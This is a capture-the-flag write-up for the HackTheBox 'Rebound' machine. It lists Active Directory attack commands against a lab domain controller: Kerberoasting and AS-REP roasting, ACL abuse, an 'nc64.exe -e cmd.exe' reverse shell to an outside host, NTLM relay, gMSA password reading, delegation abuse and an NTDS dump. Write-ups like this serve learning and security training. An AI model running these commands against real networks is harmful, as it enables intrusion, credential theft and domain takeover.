# HackTheBox - Rebound ## NMAP ```bash PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-13 22:36:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Issuer: commonName=rebound-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-08-25T22:48:10 | Not valid after: 2024-08-24T22:48:10 | MD5: 6605cbaef659f555d80b7a18adfb6ce8 |_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74 |_ssl-date: 2023-09-13T22:38:03+00:00; +6h59m59s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Issuer: commonName=rebound-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-08-25T22:48:10 | Not valid after: 2024-08-24T22:48:10 | MD5: 6605cbaef659f555d80b7a18adfb6ce8 |_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Issuer: commonName=rebound-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-08-25T22:48:10 | Not valid after: 2024-08-24T22:48:10 | MD5: 6605cbaef659f555d80b7a18adfb6ce8 |_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74 |_ssl-date: 2023-09-13T22:38:03+00:00; +7h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Issuer: commonName=rebound-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-08-25T22:48:10 | Not valid after: 2024-08-24T22:48:10 | MD5: 6605cbaef659f555d80b7a18adfb6ce8 |_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74 |_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found ``` First of all adding the DNS entries as some of the things won't work when it tries to reach DC

Enumerating smb shares will null authentication, this shows us few shares, where `Shared` might be of some interest

Accessing the shared share shows that it's empty

Moving on to enumerating users, we can try using `lookupsid.py` to retrieve usernames, so first trying with null authentication

This didn't work however we can try with `guest` account to brute force the SIDs of the users ```bash lookupsid.py guest@rebound.htb ```

We have few usernames here ```bash ppaul llune fflock ``` Having the usernames, AS-REP roasting can be performed to see if any of these accounts have pre-authentication disabled, `GetNPUsers` from impacket can be used here which detects for AS-REP accounts

Here I got stuck for a while, not knowing what to do, check the options for lookupsid, we can specify the range for brute forcing SIDs, by default the value is 4000 ```bash lookupsid.py guest@rebound.htb 10000 ``` This gives us some more user names

Now again checking for pre-auth disabled accounts ```bash GetNPUsers.py rebound.htb/uwu -usersfile users.txt -dc-ip rebound.htb ```

`jjones` had no pre-authentication required so grabbing the hash ```bash hashcat -a 0 -m 18200 jjones.txt /usr/share/wordlists/rockyou.txt --force ``` But this wasn't crackable with the rockyou wordlist

We can however obtain service ticket for a SPN, performing kerberoasting through an account having no pre-authentication required

Using this https://github.com/ShutdownRepo/impacket/tree/getuserspns-nopreauth version of impacket since it has the `GetUsersSPNs` with no-preauth implementation

Now using `GetUsersSPNS.py` with the jjones having no-preauthentication required we can perform ASREP-Kerberoast to retrieve the TGS hash of `ldap_monitor`

Using hashcat on this hash, it gets cracked with the `1GR8t@$$4u`

To verify if this password isn't being used on multiple accounts we can try password spraying with either use crackmapexec or kerbrute also synchronizing time zone with the DC

Enumerating the domain with `python-bloodhound` ```bash python3 /opt/BloodHound.py/bloodhound.py -d 'rebound.htb' -u 'oorend' -p '1GR8t@$$4u' -c all -ns 10.10.11.231 ```

From bloodhound, it didn't showed anything interesting paths from ldap_monitor or oorend

But we can see `ServiceMGMT` group has `GenericAll` on `Service Users` OU

Enumerating ACLs through `powerview.py` but it requires kerberos authentication so first we'll need to request TGT of oorend user

```bash powerview --use-ldaps -k --no-pass --dc-ip 10.10.11.231 rebound.htb/oorend@dc01.rebound.htb ``` Enumerating the access controls on service mgmt group, oorend has `Self` rights on the object

This means that we can make oorend as the group member of service mgmt

Using powerview.py we can add the group member ```bash Add-DomainGroupMember -Identity ServiceMGMT -Members oorend ```

```bash Get-DomainGroup -Identity ServiceMGMT ```

Now we have GenericAll on `Service Users` OU and under this OU we have two domain users for which we can force change password

We are only interested in changing the password of `winrm_svc` user since we can get login into DC with this user, for this we need to grant control over to oorend We again need to request the TGT of oorend after add him into ServiceMGMT group ```bash Add-DomainObjectAcl -Rights 'ResetPassword' -TargetIdentity "Service Users" -PrincipalIdentity "oorend" ```

Logging in through `rpcclient` we can change winrm_svc's users password ( the changes get reverted back so we need to do this quickly )

The password for this user will also be reverted so we can instead request TGT and login through winrm

```bash evil-winrm -i dc01.rebound.htb -r REBOUND.HTB ```

Now our next target is `tbrady` since he can read GSMApassword of `Delegator` machine account

Getting a shell through nc64.exe with `RunasC.exe` to get a shell with netonly authentication ```bash \RunasCs.exe winrm_svc 'P@assword@123' -d rebound.htb 'C:\Users\winrm_svc\Documents\nc64.exe 10.10.14.142 2222 -e cmd.exe' -l 9 ```

After having a shell, with `quser` we can find `tbrady` being logged on the DC

This is going to make possible for us to trigger an NTLM authentication of tbrady and capture the NTLMv2 challenge response through `RemotePotato0` https://github.com/antonioCoco/RemotePotato0 We'll choose the second option which is `Rpc capture (hash) server + potato trigger` ```bash .\RemotePotato0.exe -m 2 -r 10.10.14.142 -x 10.10.14.142 -p 9999 -s 1 ``` On our machine we'll run socat and ntlmrealyx ```bash sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 & sudo impacket-ntlmrelayx -t ldaps://10.10.11.231 ```

Cracking this NTLMv2 challenge response, we'll get the password for tbrady

So now getting a shell as tbrady through RunasCS by redirecting stdin, stdout and stderr of the specified command to a remote host `RunasCs.exe tbrady 543BOMBOMBUNmanda cmd -r 10.10.14.142:2222`

Transferring GMSAPasswordReader

```bash GMSAPasswordReader.exe --AccountName delegator ```

This can also be retrieved through `bloodyAD` ```bash bloodyAD.py -u tbrady -d rebound.htb -p 543BOMBOMBUNmanda --host 10.10.11.231 get object 'delegator$' --attr msDS-ManagedPassword ```

Using `StandIn` we can verify that delegator$ has constrained delegation set to `http/dc01.rebound.htb` with protocol transition set to false

To abuse this we need to first edit `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on delegator$ to add any domain user that we control and request a ticket for browser SPN to impersonate as DC01$ then with http SPN we can impersonate as any domain user we want unless it's not in `protected group` or not marked `is sensitive and cannot be delegated` (this is very new to me I don't think I may have explained it correctly) so here's the resource which can help in understanding better about this scenario https://www.thehacker.recipes/a-d/movement/kerberos/delegations/constrained

First requesting TGT of delegator$

With `rbcd.py` we can try reading the value of msDS-AllowedToActOnBehalfOfOtherIdentity ```bash impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action read -use-ldaps -dc-ip 10.10.11.231 ```

We need to add ldap_monitor add in this property as this account has a SPN to dc01 `ldapmonitor/dc01.rebound.htb`

```bash impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action write -delegate-from ldap_monitor -use-ldaps -dc-ip 10.10.11.231 ```

Requesting this account's TGT and then impersonating as DC01$, reason being we can't impersonate as administrator as it's not allowed to be delegated

```bash getST.py -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass ```

Now impersonating as DC01$ with HTTP SPN with the ticket obtained from browser SPN ```bash getST.py -spn "http/dc01.rebound.htb" -impersonate "administrator" -additional-ticket "dc01\$.ccache" rebound.htb/'delegator$' -hashes :'CD903918320095660FF2E12072F5551C' ```

Make sure now to have `dc01.rebound.htb` in hosts file

With secretsdump NTDS file can now be dumped

# References - https://www.thehacker.recipes/ad/movement/kerberos/kerberoast - https://github.com/fortra/impacket/tree/e915faa15c13a1f68bd6e067f8f9a8de21cef7d7 - https://www.semperis.com/blog/new-attack-paths-as-requested-sts/ - https://github.com/aniqfakhrul/powerview.py.git - https://www.thehacker.recipes/a-d/movement/dacl - http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm - http://www.pseale.com/pretend-youre-on-the-domain-with-runas-netonly - https://github.com/antonioCoco/RemotePotato0 - https://github.com/rvazarkar/GMSAPasswordReader - https://www.thehacker.recipes/a-d/movement/kerberos/delegations/constrained - https://github.com/FuzzySecurity/StandIn